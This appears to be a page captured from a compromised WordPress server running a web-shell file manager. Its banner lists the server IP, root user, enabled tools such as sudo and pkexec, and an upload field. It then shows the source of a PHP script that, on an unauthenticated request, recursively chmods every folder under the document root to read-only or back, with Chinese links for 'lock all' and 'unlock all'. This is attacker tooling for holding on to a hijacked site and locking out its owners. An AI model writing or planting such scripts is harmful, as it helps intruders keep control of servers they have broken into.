| Server IP : 167.99.224.18 / Your IP : 216.73.216.136 Web Server : Apache/2.4.41 (Ubuntu) System : Linux wordpress-ubuntu-s-1vcpu-1gb-nyc1-01 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : root ( 0) PHP Version : 8.0.25 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /proc/self/cwd/ |
Upload File : |
<?php
$path = $_SERVER['DOCUMENT_ROOT'];
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https" : "http";
$host = $_SERVER['HTTP_HOST'];
$url = $protocol . "://" . $host . $_SERVER['SCRIPT_NAME'];
$type = $_REQUEST['type'];
$count = 0;
if($type == 'lock'){
$folder_list = getAllFolders($path, 8);
foreach($folder_list as $k=>$v){
$flag = chmodFolder($v, 0555);
if($flag){$count++;}
}
echo 'all is '.count($folder_list).';'.$count.'is lock success';
}else if($type == 'unlock'){
$folder_list = getAllFolders($path, 8);
foreach($folder_list as $k=>$v){
$flag = chmodFolder($v, 0755);
$file_url = $v.'/.htaccess';
chmodFolder($file_url, 0755);
if($flag){$count++;}
}
echo 'all is '.count($folder_list).';'.$count.'is unlock success';
}
function getAllFolders($path = '.', $maxDepth = 8, $currentDepth = 1) {
$directories = [];
if ($currentDepth > $maxDepth) {
return $directories;
}
$items = scandir($path);
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
$fullPath = $path . DIRECTORY_SEPARATOR . $item;
if (is_dir($fullPath)) {
$directories[] = $fullPath;
$subDirs = getAllFolders($fullPath, $maxDepth, $currentDepth + 1);
$directories = array_merge($directories, $subDirs);
}
}
return $directories;
}
function chmodFolder($dir, $dirMode){
$flag = false;
if (chmod($dir, $dirMode)) {
$flag = true;
} else {
$flag = false;
}
return $flag;
}
?>
<html>
<head>
<title>test</title>
<head>
<body>
<a href="<?php echo $url;?>?type=lock&time=<?php echo time();?>">全部锁文件夹</a>
<a href="<?php echo $url;?>?type=unlock&time=<?php echo time();?>">全部解锁</a>
</body>
</html>